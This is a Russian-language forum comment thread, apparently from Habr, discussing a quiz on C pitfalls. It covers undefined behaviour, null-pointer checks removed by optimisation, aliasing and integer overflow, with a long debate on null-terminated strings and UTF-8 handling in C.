Вообще, постоянно ей обхожу похожие проблемы с сафари, например когда выделение принудительно пытается выбрать большой кусок текста вместо строки.
olegi
Похоже, только в ней это и реализовано.
Скриншоты (у меня Android):
Предустановленный браузер — нет.
Dolphin HD — нет.
Opera Mini — есть.
PsySonic
Вот оно, легендарное юзабилити :) Это почти как Джобс говорил — «Просто не держите его таким образом (про четвертый айфон)»
Dragonizer
Я думаю, в понятие юзабилити не входит такая операция, как чтение белого текста на белом фоне.
Zorkus
Да ну, ты брось, зато как весело потроллить можно — айпэд не показывает белый текст на белом фоне? Фуу! Да это делает даже IE6!"
rachiu
Не переживайте, отсутствие чувства юмора еще не делает вас потерянным для общества!
diamant
На iOS нельзя выделить текст? Весьма удивлен.
homm
Можно, но цвет текста не инвертируется
Zorkus
Яблочники сошли с ума. Минусуют за вопрос.
homm
Если нажать кнопку «Reader» в строке адреса текст становится читаемым.
ilyaplot
В 5. может всё-таки return еще нужен?
kryoz
Спасибо, исправлено.
ilyaplot
И в 8.?
homm
Нет, в 8 не нужен, ибо
reaching the } that terminates the main function returns a value of 0.
5.1.2.2.3/1.
hobbut
Я не знаю Си
boo1ean
Я не знаю Си, и у меня начал дергаться глаз
gribozavr
Си знает, что я его не знаю и ему по фиг.
Noregr
«Си» в вашем случает от «Советский интерпретатор»?
Paul
Юмор про Soviet Russia оказался непосильным?
StreetAngel
Неканоничная форма же.
shus
Хороший пост.
Еще бы подобный для «плюсовщиков», которые пихают эти самые плюсы даже туда, где можно средствами обычного С спокойно обойтись.
tetrapak07
2.
После анализа строки (1) компилятор считает, что x не может быть нулевым указателем и удаляет (2) и (3) как недоступный код (dead code elimination).

Какой компилятор удаляет код? Это весьма дивное поведение и относится к компиляторам, а не стандарту.
hotcooler17
Компилятор может делать всё, что хочет если это не меняет observable behavior. В строке (1) есть два варианта: или x не нулевой указатель и (2) не сработает, или x нулевой указатель и дальше можно хоть запускать форматирование диска.
hotcooler17
тогда правильный ответ будет «я не знаю всех компиляторов», а не «я не знаю Си».
Volfram
Покажите в чём именно нарушение стандарта.
Eddy_Em
в том что ожидается выполнение if (!x) при x == (void*)0, что как раз таки меняет observable behavior
Ryadovoy
if (!x) не observable. return observable. Поэтому if() не обязан вычисляться. return мы не можем увидеть, потому что для того, чтобы он выполнился, должен был произойти undefined behavior, а дальше может происходить что угодно.
romy4
А как предполагается обращаться к нулевой ячейке (если это действительно нужно, в каком-нибудь микропроцессоре или на других компьютерах с 64К памяти)?
gribozavr
Менять null pointer constant — очень и очень сложно, так как очень многое в компиляторах завязано на то, что null pointer constant (который определяется как 0 любого целого типа, приведённый к указателю) имеет битовое значение 0 как указатель. Иначе, к сожалению, средствами языка никак. Но можно определить переменную и затем linker script'ом разместить её по нужному адресу.
romy4
Верно ли, что компиляторы обязаны на строчку *(int*)0x0000=0xCD выдавать ошибку?
gribozavr
Компиляторы — не обязаны, в рантайме падение тоже не гарантируется (undefined behavior — это всё что угодно, в том числе и игнорирование проблемы: как, например, переполнение чисел со знаком игнорируется в большинстве компиляторов Си для x86).
romy4
А с чего вы взяли, что нулевой указатель это undefined behavior? В эмбеддеде где нету MPU и MMU по нулевому адресу может храниться вектор ресета.
gribozavr
ISO/IEC 9899:1999
6.5.3.2 p4

> Among the invalid values for dereferencing a pointer by the unary * operator are a null pointer

Я согласен что по физическому адресу, соответствующему null pointer может что-то лежать и тем, что лежит ниже реализации Си (процессор/ВМ) разрешается читать/писать эту ячейку памяти, но в стандарте это UB. Понимаете, UB может означать «аварийное завершение», а может «какое-то действие». Поэтому на практике у вас даже может получаться записывать *(int *)0 = 42; и считывать обратно, но это всё равно UB.
Mrrl
Просто я со своей колокольни смотрю, и там где я использую C (это эмбеддед) разыменование нулевого указатель вещь вполне обыденная, и предсказуемая. Хоть и не красивая. Самая часто встречающаяся ошибка это:

((void(*)(void))0)();

gribozavr
Это предсказуемая вещь пока компилятор не станет умнее и кто-то (из лучших убеждений, стараясь помочь программистам отлавливать UB) не будет вставлять abort() вместо разыменовывания null pointer если это видно статически. И компилятор, что, самое интересное, будет прав, и подавляющее большинство программистов будут только рады такому новому поведению.
Mrrl
HP aC++ так делает уже давно.
gribozavr
Ой, ошибся. Он abort() не делает, он просто игнорирует такое разыменование.
Quasar_ru
> UB должно относиться только к тому выражению, где оно используется
UB относится ко всему выполнению программы, где имеется UB. Не гарантируется даже что действия до UB будут выполнены корректно. Вся программа с UB не имеет смысла.
gribozavr
Суровый Вы человек :) Или мы читаем разные стандартны. В моём Draft для C99 написано, что Undefined Behaviour — это ситуация, когда поведение компилятора не определено. И нигде не сказано, что вся программа с UB не имеет смысла. Вам же уже тут приводили пример с доступом по NULL — иногда это часть архитектуры системы, иногда нам необходимо туда писать. Иногда нам нужен aliasing. Просто такие операции будут специфичными для данной версии компилятора/системы и не будут переносимыми. И именно для того, чтобы специально не перечислять все частные случаи и было придумано UB. А совсем не для того, чтобы лишать программы смысла. Это просто свободный такой смысл.

Я вот не знаю, каким Вы транслятором транслировали код с этим примером на NULL, но вот, например тот же Clang генерирует для него различный код для kernel-режима трансляции и для режима по-умолчанию.

То есть, всё не так уж и сурово :) Скорее, свободно. Чем Си и полезен.
Quasar_ru
> Undefined Behaviour — это ситуация, когда поведение компилятора не определено. И нигде не сказано, что вся программа с UB не имеет смысла.

Программа не имеет смысла без всего этого контекста: определённый ЦП, конкретная версия тулчейна, конкретная версия ОС и может быть даже дата и время.

> Я вот не знаю, каким Вы транслятором транслировали код с этим примером на NULL
pastebin.com/MpqKKpyU Вот полный код. gcc 4.6 -O2 убирает проверку на нулевой указатель. Это широко известный (в узких кругах) баг в ядре.
gribozavr
В MSXDOS это был выход из программы. Где тут ошибка?
ximaera
А в эмбеддеде так часто делают перезагрузку, но ведь это не перезагрузка, а вызов функции по адресу 0, с проталкиванием в стек адреса возврата. Если так часто перезагружать, долго работающую систему, то она зависнет от переполнения стека.
ximaera
Понятно. В операционке первой командой, выполняющейся после JP 0000 было LD SP,(0006) — так что там стек не переполнялся.
mikhanoid
Не волнуйтесь вы так, стековый указатель переинициализируется заново :)
gribozavr
программа на старте настраивает стек заново, то есть что там запушили неважно — стек переустановится заново
mikhanoid
Хорошая подача материала. Нифига не смыслю в С, но дождусь полуночи и плюсану )
gribozavr
Еще эту статью можно использовать, как аргумент против Си в этом опросе.
Goder
Она и является расширенным вариантом моего комментария habrahabr.ru/blogs/study/136272/#comment_4532332
Goder
Тогда всё сходится)
Mrrl
Перешел по ссылке, проголосовал, увидел результат. У меня просто вырвалось: — ЧТО?!!!
Quasar_ru
Тоже сходил по ссылке, и, вы не поверите… то же самое сказал непроизвольно)
Интересно почему народ считает что си нужно давать в школе?..
ЗЫ: не забываем, что из класса примерно 10% (2-3 человека) пойдут по ИТ дорожке…
Mrrl
Думаю, надо бы уточнить, что в 1-м пункте i — глобальная переменная в пределах модуля. Если такое написать внутри функции, то это будет ошибочный код из-за редекларации.
boolivar
Сделал уточнение.
datacompboy
Славные грабельки :-)
«За свободу надо платить отвественностью» вкупе с «Незнание не освобождает от ответственности».

Собсна меня в си практически всё устраивает, кроме строк. Как говорил Спольски «история развития си++ может быть проиллюстрирована исторей борьбы с изначально идиотскими строками си».

Особенно чудесно заморочен Борман — есть TString и есть AnsiString, и для оперирования ими приходится извращаться.

Эх, если бы не строки… С остальной памятью я уж как нть разберусь.
Sterhel
А чем не устраивают строки в Си?
boo1ean
Они прекрасны, просты и понятны до тех пор, пока не начинаешь с ними работать.
russian.joelonsoftware.com/Articles/BacktoBasics.html
gribozavr
Во первых — в С строк нет.
Во вторых — схема работы со строками в С оптимальна!
В третьих — язык, разработанный практиком отличается от языка, разработанного теоретиком наличием встроенного типа 'string'.

Обработка строки внутри довольно сложный процесс. Если его не сделать, хотя-бы визуально, немного более сложным, то это приведёт к огромной потери производительности в большом проекте. В статье Спольски об этом упомянуто, но не написано, что при использовании встроенных типов строк всё, что он рассказал про malloc() будет применяться в неявном виде.
boo1ean
Вы правы: в строгом смысле строки в си отсутствуют.

Но практически в любой программе они присутствуют так же, как и присутствуют другие понятия реальной задачи как килограммы, метры, деньги, идентификаторы и прочие прикладные понятия.

И если замена килограммов на double имеет некоторые грабли (например в виде отрицательных значений массы), то замена строк на char * имеет массовые и массивные грабли в силу самой попытки использовать char * (или char []).

На месте авторов языков я бы ввёл два строковых типа — короткие в 255 символов без гемора с malloc и длинные с таковым. Плюс механизмы взаимного перевода между этими типами с соответствующими проверками.

Вы ведь согласитесь с тем, что 255 символов в 95% случаев устроили бы прикладные задачи? Да и операции вроде преобразования адреса в фамилию или аннотации в город чрезвычайно редко встречаются в жизни.

P.S. ладно, для денег не требую вводить отдельный вещественный тип. Хотя тоже неплохо бы ;-)
Dragonizer
А то мы уже к коболу приближаемся
Godless
Насколько я понимаю, речь идет о том, что не надо пытаться самому реализовывать std::string (C++) и уже тем более String (Java). Потому что се уже сделано до тебя, причем сделано прилично. Вроде.
OlegD
Мы говорим только про Си
gribozavr
Мы говорим про С.
Но если взять С++ и стандарт разработанный теоретиками, в виде std::string, то мы увидим, что в нём отсутствует возможность сравнения строк без учёта регистра, что критично для строк из набора ASCII (латинских). Теоретики, мать их, кампухтер сайенс, мать её.
EndUser
За это мне больше Qt шные строки нравятся, их как раз практики делали :)
saterenko
Я, вообще-то, очень тупой, и поэтому использую Java. Но, скаже честно — Qt — первая библиотека C++, которая мне нравится. То есть там так много общих концепций с Java, что создается обманчивое впечатление, что я смогу легко перейти с одного на другое )
EndUser
В стандарте С тоже нет сравнения строк без учета регистра. strcasecmp это BSD или POSIX, что вам больше нравится, но не С99.
KoCMoHaBT61
> Во вторых — схема работы со строками в С оптимальна!

До тех пор, пока мы не вспоминаем, что есть Unicode
EndUser
и что с юникодом не так?
sergeypid
Допустим, хранить UTF-8 можно и в Сишных char-ах. А вы попробуйте вывести на микроконтроллере на 40-сегментный индикатор. А Си всё больше используется там, ниже чем айфон и дот нет.
asm0dey
если он не поддерживает национальные символы то ничего не получится это к гадалке не ходи. если речь идет о английских символах то они кодируются в utf-8 точто так же как и в 7-bit ASCII, т.е. занимают 1 байт.
просто я как раз занимался приведением одной 8-битной программы к работе с utf-8… там всё в принципе тривиально. нужно читать из массива пока не встретится начало следующего символа а это начало определено стандартом.
EndUser
То, что юникод не однобайтовая кодировка. Все, приплыли со стандартным сишным представлением строки.
KoCMoHaBT61
Не приплыли ни разу. В char* можно отлично хранить UTF8 строки, т.к. ни один из code points в UTF8 не может содержать 0x00.
Gorthauer87
Угу. И как с ними потом работать?
asm0dey
Задавайте более конкретные вопросы.
Paul
Длина в символах, поиск подстроки, разбиение на символы — короче все, что связано с символами.
dmitriid
Забыл главное — сравнение и сортировка (которая завязана на сравнение).
smind
Длина в символах — зачем она нужна? В байтах — понятно, чтобы, например, для копирования нужное количество памяти выделить, а в символах зачем?

Поиск подстроки будет работать, ему всё равно в каких кодировках строки.

Разбиение на символы — зачем? Каждый символ разным цветом печатать что-ли? Практика показывает, что прямой доступ к символам строки не нужен. А последовательный доступ в случае UTF8 пишется достаточно просто.

Сравнение с учетом локали — ну так эта задача решается из коробки по-моему только для Latin1, все равно используются какие-то библиотеки, которые с большой вероятностью умеют и UTF8.
iago
> а в символах зачем?

Банально вывести количество отсавшихся символов в клиенте для твиттера :-\

> Поиск подстроки будет работать, ему всё равно в каких кодировках строки.

Не будет. Особенно case-insensitive поиск. Потому что SS и ß — это одна буква.

Не говоря уже о том, что ü и комбинация знаков ¨ и u — это тоже одна буква.

> Разбиение на символы — зачем?

Для того, чтобы правильно определить позицию, где можно, а где нельзя обрезать строку, например.

> А последовательный доступ в случае UTF8 пишется достаточно просто.

Не надо рассказывать сказки.

> Сравнение с учетом локали — ну так эта задача решается из коробки по-моему только для Latin1

Именно.

Вы получили ответ на вопрос «и что с юникодом не так?»
smind
Не надо рассказывать сказки.

Ок, вот вам и подсчет символов и итерирование по UTF8 строке, ничего сложного там нет.

Вы получили ответ на вопрос «и что с юникодом не так?»
Я получил ответ на вопрос «что не так с мультибайтовыми кодировками?» :) А однобайтные кодировки своё уже отжили. Более того, не забывайте, что всякие там китайские и японские локальные кодировки — они уже не однобайтовые, а multibyte и обладают теми же проблемами.

Если вы хотите, чтобы у вас символ был ровно N байт — вам нужен либо UCS2 (который не покрывает весь Unicode), либо UTF32 (который оверхед), потому что в UTF-16 символ может занимать как 2 так и 4 байта.
dmitriid
> Ок, вот вам и подсчет символов и итерирование по UTF8 строке, ничего сложного там нет.

Дадада. Совсем-совсем ничего, ага. Кроме того, что этого нет в стандартной поставке, и кроме того, что вы решили вырезать любые другие проблемы, которые так не решаются

> Я получил ответ на вопрос «что не так с мультибайтовыми кодировками?» :) А однобайтные кодировки своё уже отжили. Более того, не забывайте, что всякие там китайские и японские локальные кодировки — они уже не однобайтовые, а multibyte и обладают теми же проблемами.

Теперь возвращаемся к моему изначальному заявлению про юникод и ваш вопрос «что не так с юникодом»? Я ответил на этот вопрос?
Paul
Ну так если в стандартной поставке есть только работа с однобайтовыми кодировками — продолжать сидеть в 90-х из-за этого? Ну то есть проблемы, которые вы описали присущи не только UTF8 (не юникоду), а любой мультибайтной кодировке, без которых вы всё равно в 2012 году не обойдётесь. Ну то есть по-вашему получается, что юникод плох тем, что с ним нельзя работать используя старые добрые str… функции, но альтернативы то нет.

Что не так с юникодом вообще некорректная постановка вопроса по-моему. Мы сейчас обсуждаем «что не так с UTF-8?». И я как раз пытаюсь сказать о том, что с точки зрения работы с сишными строками с UTF-8 работать удобнее, чем с UTF-16, например.

Теперь возвращаемся к моему изначальному заявлению про юникод и ваш вопрос «что не так с юникодом»? Я ответил на этот вопрос?
Вопрос был не мой, но мне кажется, я понял вашу мысль.
dmitriid
> Вопрос был не мой, но мне кажется, я понял вашу мысль.

Претензии снимаются :)
Paul
Отвечу более развёрнуто, в прошлый раз было мало времени.

Итерирование по символам UTF8 строки — функция в 7 строк. Подсчет длины в символах реализуется через неё же в 5 строк. Что тут сложного? Алгоритмическая сложность подсчета количества символов в строке — как и у strlen — линейная, дополнительного оверхеда не вносится.

По поводу поиска подстроки. Как проблема
Потому что SS и ß — это одна буква. Не говоря уже о том, что ü и комбинация знаков ¨ и u — это тоже одна буква.
решается в случае однобайтовых кодировок?

То есть в случае, когда мы имеем дело с чем-либо сложнее Latin1, дополнительные действия совершать всё равно приходится, и эти дополнительные действия для UTF8 вовсе не такие уж сложные, а даже наоборот.

Зато есть определенные задачи, где переход от однобайтовых кодировок к UTF8 практически безболезненный. Вот например файловая система. Ей не надо знать, сколько в имени файла символов. Ей не надо по ним итерироваться. Она просто работает с именами файлов как с 0-терминированными строками. Раньше эти строки были в локальной однобайтовой кодировке. Если мы захотим складывать туда UTF8 строки всё продолжит работать. Потому что сравнение строк на идентичность будет работать, копироваться строки будут так же отлично как и раньше, и так далее, но при этом мы не будем ограничены 255 символами в имени файла, а сможем использовать весь Unicode. То есть, возвращаясь к «приплыли со стандартным сишным представлением строки» — в данном примере не приплыли. И юникод поддержали и код, рассчитанный на стандартные сишные строки, продолжает работать.
dmitriid
> Итерирование по символам UTF8 строки — функция в 7 строк. Подсчет длины в символах реализуется через неё же в 5 строк. Что тут сложного?

В том, что на каждый чих в С надо реализовывать собственные функции, поому что родные строки умеют работать только с однобайтовыми кодировками.

> По поводу поиска подстроки. Как проблема SS и ß, ü и комбинации знаков ¨ и u решается в случае однобайтовых кодировок?

В том-то и дело, что никак :)

> и так далее, но при этом мы не будем ограничены 255 символами в имени файла, а сможем использовать весь Unicode.

Будем. Причем с глюками. Если в файловой системе хоть где-то стоит if(strlen(filename) > 255) strncpy(что-то-там), при условии, что и strlen и strncpy однобайтовые, то все, приплыли. По все тем же причинам, что и выше ;)

Единственное, то нас спасает в этом примере, это то, что основные ОСи давно имеют внутреннее представление в многобайтовых кодировках.

dmitriid
Будем. Причем с глюками. Если в файловой системе хоть где-то стоит if(strlen(filename) > 255) strncpy(что-то-там), при условии, что и strlen и strncpy однобайтовые, то все, приплыли.
strlen(filename)
Paul
Долбанный ктрл-ентер.

strlen(filename) вернет длину UTF-8 строки в байтах. Потом strncpy правильно скопирует эту строку (потому что UTF-8 строка не содержит внутри '\0', а длину (в байтах) мы только что правильно измерили. Где ж мы приплыли то? Функциям strlen, strcat, strcpy, strncpy и прочим всё равно, Latin1 у нас в char* или UTF8, они будут правильно работать и с тем и с другим.
dmitriid
> strlen(filename) вернет длину UTF-8 строки в байтах.

Правильно. А у нас какое требование? ЧТобы длина строки была не больше 255 символов. ;)
Paul
С чего это у нас такое требование?
dmitriid
Ни или не 25 символов. Любое другое число. Обычно имя файла в ОСи не может быть безграничным
Paul
И чем по-вашему это обусловлено? Не тем ли, что в формате служебных данных под это имя отводится определённое количество байт? Какая в общем-то файловой системе разница, сколько в имени символов?
dmitriid
Эо может быть обусловлено самыми разными причинами. В том числе и указанной причиной тоже.
Paul
Отвечу более развернуто. Если в файловой системе есть хоть какое-то ограничение на длину имени файла, то в случае с С, strlen и длиной в байтах мы приплыли. Потому что если последние два байта — это знаки «¨» и «u», и u не влезает в длину, то при обрезании мы получим в имени файла мусор. Хорошо, если это будет ¨, а не неотображаемый первый байт из двухбайтовой буквы.
dmitriid
Обрезание строк должно быть на уровне клиента файловой системы. API ФС должно не обрезать длинные строки, а возвращать ошибку типа некорректный аргумент.
Paul
Это уже философский вопрос о том, где это должно быть реализовано ;)
Paul
я правильно понимаю что вы не в теории столкнулись с проблемой а на практике? что именно у вас вызывает затруднения?
dmitriid
С какой проблемой? Проблемой, что в С практически нет нормальных способов работы с многобайтными кодировками и, в частности, с Unicode?
Paul
у вас есть проблемы с юникодом или нет?
dmitriid
У меня были проблемы с Юникодом. Более того, в С/С++ их не может не быть по определению. Спас ICU
Paul
посмотрите как в mc реалисована работа с utf-8 там есть и поис и подсчёт и сортировка, ничего сложного там нет… утвержтаю это т.к. собственно кое чего реализовывал в этом плане…
dmitriid
А причем тут mc?

> ничего сложного там нет… утвержтаю это т.к. собственно кое чего реализовывал в этом плане…

Расскажите мне про case-insensitive сортировку для немецкого, например и про посчет символов в нем же.

Напомню:
SS и ß — это одна буква. Не говоря уже о том, что ü и комбинация знаков ¨ и u — это тоже одна буква.
dmitriid
я в курне про немецкий, mc при том что там это организовано и реализовано.
Paul
То, что организовать и реализовать можно, это и так понятно. Хотя бы тот же ICU. Вспоминаем контекст подветки.
dmitriid
А чего это нет в стандартной поставке? В поставке есть wchar, пожалуйста, используйте. Будет вам перекодирование на лету в соответствии с локалью.
smind
«The width of wchar_t is compiler-specific and can be as small as 8 bits. Consequently, programs that need to be portable across any C or C++ compiler should not use wchar_t for storing Unicode text. The wchar_t type is intended for storing compiler-defined wide characters, which may be Unicode characters in some compilers.»

;)
dmitriid
c utf-16 и 32 всё элементарно, с utf-8 есть нюансы но не более того.
smind
С utf-16 ничего не просто. Просто только с UCS2. Некоторые символы в представлении UTF-16 могут занимать больше 16 бит. Так же не следует забывать о UTF-16LE и UTF-16ВE.
dmitriid
>т.к. символы Unicode после кода 0x10000 используются крайне редко. ©

но в любом случае забираю слова про «элементано» назад, (вы меня уделали:) ) да я имел ввиду UCS2. однако же и сказать что уж сильно сложно тоже нельзя…
smind
О да, нуль-терминированные строки это так оптимально, так оптимально — не зря их кличут «самым дорогим решением в ИТ»
dmitriid
Нормальным оно является только в контексте создания Си — Керниган и Ричи делали инструмент для себя, а не ультракроссплатформенный системный язык, который в результате получился.
Динамическое выделение памяти к нуль-терминированности отношения не имеет, заниматься им при наличии выделенного типа или класса не обязательно, хотя и желательно-статические буфера фиксированного размера чреваты неожиданными повреждениями памяти, а на стеке — еще и эксплойтами.
А вот постоянный проход по всей строке и исключение нуля остаются тяжким бременем всегда, везде и повсюду. На уровне системных вызовов в том числе.
smind
>В результате того, что сложный, я бы сказал — сложнейший тип выделен в «простые» программист не видит динамического выделения памяти. Принципиально, концептуально — не видит.
В результате использования си вместо ассемблера программист не видит отдельных машинных команд. Принципиально, концептуально не видит. Но надо же — именно это позволило писать на си лучше, чем на ассемблере.

> А динамическое выделение памяти, между прочим, к рантайму языка и его библиотеке отношения не имеет, оно имеет отношение к операционной системе и платформе.
Ага, как же, своей кучи помимо системной не бывает :)

> И теперь сравни это с «постоянным проходом» и исключением нуля. Да хер с ними, это непринципиально!
Это принципиально. Потому что почти любая «платформа» написана таки на си. Со всеми вытекающими.

>После того, как сложнейший тип обёрнут в простой, программист лишается возможности оперировать с ним как с массивом простых типов.
Расскажите это дельфистам.

>Вообще, эта надуманная проблема сишных строк решается довольно просто:
Это «просто» означает порчу памяти и эксплойты.

>а нахера, собственно?
Потому что это дешевле, чем нуль-терминированные строки.
dmitriid
> Не лучше, а быстрее.
Лучше, качественно лучше. Собственно триумфальное шествие юникса стало следствием именно замены ассемблера на си в качестве основного языка системного программирования.

>Бывает, но своя куча стандартной библиотекой не поддерживается.
Как раз стандартная библиотека си, наряду с модульностью на включаемых файлах — его слабое место.

>И что?
И то. ASCIIZ-строки достанут везде, даже если избегать их как огня: через стандартную библиотеку, через сторонние библиотеки, через системные вызовы, через требования портируемости…

>Кому?
Есть такие языки, для которых «сложнейший объект» является с одной стороны простым, с другой — вполне совместим с массивом символов.

>Да ну?
Ну да. В любой нормальной книжке оно есть.

>Где ты увидел дешевизну?
В совокупной стоимости использования. Получение размера как O(1) и отсутствие запрещенных элементов имеет колоссальный мультипликатор полезности за счет использования на всех уровнях, от драйверов до скриптов.
mikhanoid
> Триумфальное шествие юникса произошло потому, что он попал в лапы студентов в 70е, и их на нём учили. А ещё в нём есть юзнет.
Очевидно, что с системой на языке ассемблера такого случиться не могло по определению. А си оказался «студентопригоден» как для учебы, так и для портирования ОС на другие машины, при этом ничего не потеряв для профи.

> Кошмар. Единственная область применения, где имеет смысл заранее измеренная длина это приём/передача данных.
В остальных случаях тормозная конкатенация и нулевые символы нисколько не мешают, ага, как же :)
dmitriid
Конкатенация будет тормозна в любом случае.
А нулевые символы вообще ничему не мешают.
smind
По обоим пунктам львиная доля разработчиков с вами не согласится.
lorc
Понравилось. Напоминает о том, что поведение любимого компилятора — не стандарт. А с (6) сам в своё время столкнулся.
smind
Скорее, undefined behavior в любимом компиляторе слишком часто совпадает с желаемым.
Bonart
4 — скорее знание особенностей вещественных чисел, потому что на другой платформе это может быть не так.
3, 12 — не сообразил.
6 — слишком очевидно для данного списка.
Помнится меня в своё время поразило, что код
#include <stdio.h>

int main()
{
    printf( "%c\n", 4["abcdefgh"] );
    return 0;
}

корректен.
KoCMoHaBT61
4. IEEE 754 настолько распространён, что сложно назвать устройство где какой-то другой floating point.

3. Если yp = zp, то выражение *xp + *yp меняет значение после первой итерации и поэтому его нельзя вынести за цикл.

12. INT_MIN / -1 должно быть равно -INT_MIN, но это больше INT_MAX, поэтому получаем переполнение числа со знаком.
Bonart
3, 12 — имелось в виду не сообразил до тех пор пока не прочитал белый текст :) Остальные понял сам без объяснений — когда-то копался в неопределённом поведении C/C++.
4 — в принципе оно конечно так, но всё же проблема не Си-специфична, а скажем так, имеет пересечение, — одновременно шире (проявляется и в других языках в т.ч. ассемблере) и уже (может не проявиться на каком-либо софтверной реализации floating point, например).
KoCMoHaBT61
О_О, это что за процессор?
Bonart
есть множество процессоров где sizeof(char)==sizeof(int)==sizeof(long)==1 и при этом char реально занимет 16 либо 32 бит. Обычно это всякие DSP.
KoCMoHaBT61
Стоп стоп стоп. Вы пишете sizeof(char) == 1, потом что char занимает 16-32 бита.
Либо вы имели ввиду sizeof(int)==sizeof(long) ==1, а чар занимает 2-4 байта.
Либо вы имеете ввиду другой размер байта
(пухнет голова)
Bonart
#define CHAR_BIT 32, всё просто.
KoCMoHaBT61
Ну если байтом называть не 8 бит, а минимально адресуему единицу информации (то, на что может указывать указатель), то да — байт может занимать и 16 и 32 бита.
Bonart
да, хочу напомнить что стандарт C требует только одного: что бы sizeof(char)<=sizeof(int)<=sizeof(long) и т.д…
KoCMoHaBT61
sizeof(char) == sizeof(signed char) == sizeof(unsigned char) == 1 всегда, в не зависимости от того, сколько в нём бит.
Bonart
6.5.3.4/3 в C99 если что.
agmt
> INT_MIN / -1 НЕ должно быть равно -INT_MIN
Я имел ввиду алгебру. В алгебре это действительно равно.
gribozavr
Алгебра — тоже штука тонкая. Не во всякой алгебре x / -1 = -x :) Просто мой вопрос-то вот в чём: зачем так педалировать эти моменты? Любой нормальный программист, который пишет на Си вполне себе в курсе, что он не работает в кольце целых чисел. Если он думает иначе, значет, это программист, ну, на Clojure, например.

Какие проблемы-то? То, что div можно выполнять по-разному — так это известные истины. В чём Вы видите тут сложности и трудности связанные с Си?
NickLion
В других языках (тот же clojure, python) все эти тонкости успешно скрывают от программиста. А в си повсюду разбросаны UB.
gribozavr
Успешно ли? Например, в Clojure, конечно, скрыто, что у числа длина конечная за счёт длинной арифметики, но потом программеры долго удивляются, а чего это у них простой алгоритм преобразования фурье всю память в системе пожирает. Как бы, закон сохранения косяков в природе: в одном месте подпилили, так оно в другом вылезет. Невозможно скрыть то, что программа для компьютера работает на компьютере с его ограничениями, вопрос лишь в том, как эти ограничения проявяться.
NickLion
То, что код
int x;

if(abs(x)<10){

}
может работать не так, как ожидалось, для меня было большой и неприятной неожиданностью.
Andrew_Lvov
Действительно, занятный пример. А как объясняется такое поведение? Ведь, по сути, мы имеем аналог
char s[] = "abcdefgh";
printf( "%c\n", s[4] );

?
lorc
Да, и можно написать 4[s] — это тоже будет корректно. Объясняется очень просто: x[y] является эквивалентом *(x+y), и порядок действий не важен.
Andrew_Lvov
Спасибо большое ) Ваше объяснение позволило посмотреть на код под другим углом зрения. Очень познавательно, благодарю.
gribozavr
Для PHP-кодеров тоже актуальна фраза «Я не знаю PHP».
lorc
Мне кажется, для большинства языков такое высказывание верно. С PHP точно беда. Когда совсем не знаешь его и смотришь на код быдлопрограммера, с трудом представляешь, на сколько можно так не знать :)
lorc
Так что выводит 8?
1 2 10?
Paul
Да, 10 2 10. Добавил в топик.
Paul
Все таки ошибся про прохождении 7 задания.
mikhanoid
По поводу 5: вторая ошибка в том, что функция не принимает на вход параметр длины стороки, предполагая, что входная строка будет NULL-terminated:
const char str[] = {'a', 'b'};
int len = my_strlen(str);
gribozavr
Имелась ввиду null-terminated строка. Сделал уточнение.
mikhanoid
Передавать длину строки в функцию вычисления длины строки?
gribozavr
Хм. Интересно получилось…
mikhanoid
В любом случае длина верно будет вычислена только для null-terminated строк.
Mrrl
А, вдруг?
tvolf
Хех, я почти знаю Си :)

Второй пример смутил, хотя бы потому что подобные оптимизации всегда нужно держать в голове и проверять что там генерируется. Собственно любой человек который писал защиту он нелегального копирования на языках высокого уровня с этим точно сталкивался. Я даже затрудняюсь сказать сколько раз компилятор меня удивлял в этом отношении. А так — это действительно зависит от компилятора, специально дополз до компьютера проверить (clang) — заведена локальная переменная, есть получение значения, сравнение и корректные джапмы.
NickLion
По-моему это не примеры на знание Си, а примеры «как не надо писать код». Особенно п.7 — убейся об стену тот, кто такое напишет в программе.
tvolf
Это минимальные wtf-примеы. Все примеры взяты из реальных программ, просто уменьшены, сложные типы заменены на встроенные и так далее.
mr_avi
Я понимаю, что это все из реальных примеров. Но тут есть примеры которые:
— я знаю;
— я знаю, но толку от знания никакого (п.2 только по невнимательности мог быть написан, т.е. не зависит знал человек о том как эта фигня будет работать или нет);
— я не знаю, но никогда так не напишу (п.7-8)

Выходит я не знаю С, но умею писать неплохие программы на С :)
ilyaplot
2. Представьте себе, что это критически важная функция, например в ядре, пусть если bar() выполняется, то это уязвимость. Вы исправляете баг, который случайно нашли «глазами». Если вы не выпустите security bulletin, то вы «тихо» закрыли уязвимость и поэтому кто-то мог не пропатчить свою систему.

7. Вы никогда не приводите указатели в Си? Всегда дотошно проверяете, что не нарушаете алиасинг?

8. Запятая широко используется в макросах. Код в примере вполне может быть результатом препроцессирования нескольких макросов.
ZumZoom
fix: если bar() выполняется при нулевом x.
gribozavr
Конечно же привожу указатели к другим типам. Но передавать один и тот же указатель в качестве аргументов ф-ии, которая принимает 2 не константных указателя (т.е. меняет оба?) да еще и разных типов — я бы очень задумался.
acmer
Это пример. Упрощённый пример. Эти указатели не обязательно передавать в функцию, их можно получать через вызов другой функции, или найти в какой-то структуре данных или ещё как-нибудь.
Weageoo
А если я напишу
int x=300;
printf("%d ",x);
((char*)&x)[1]=0;
printf("%d\n",x);
то тоже будет шанс увидеть «300 300»?
gribozavr
Для char* есть исключение, он может алиасить любой указатель.
TAURUSiv43
то что это wtf и не оспаривается.

я ответил «некорректный код» на первый вопрос.
и почему то не считаю что ответил неправильно.

тут же попробовал скомпилить это, visual studio выдал error C2086: redefinition.
можно попробовать и на других компиляторах, но даже если это где то и заработает, меня не убедит в том, что это не гогнокод и что это корректно.
Weageoo
А на два цикла
for(int i = 0; i < 10; i++) {
//smth
}
for(int i = 0; i < 10; i++) {
//smth
}

вижуал студия уже перестала ругаться, что redefinition?
Weageoo
Последняя версия студии, на которой переменная, объявленная в заголовке цикла считалась глобальной — VC6.
А в VS2005 этой проблемы уже не было.
Goder
проверил. не ругается. не встречал такой буг.
int80h
Вы пробовали код на Си или C++ писать? Код
#include <stdio.h>                                                                                                                                                   
                                                                                                                                                                     
int i;                                                                                                                                                               
int i = 0;                                                                                                                                                           
                                                                                                                                                                     
int main()                                                                                                                                                           
{
    return 0;
}

нормален с точки зрения Си, но не С++.
xanep
Это не баг. Это особенность. А то так можно и такое:
int main(argc,argv)
int argc;
const char** argv;
{
    return 0;
}

багом объявить ;)
gribozavr
Ах, да. Хотел сказать и забыл. В Си это просто декларация, подобная «extern int i;» в C++. Проверьте, добавление extern сделает код валидным для C++.
xanep
а в стандарте то оказалось прямо написано чего это обозначает. к экстерну отношения не имеет.
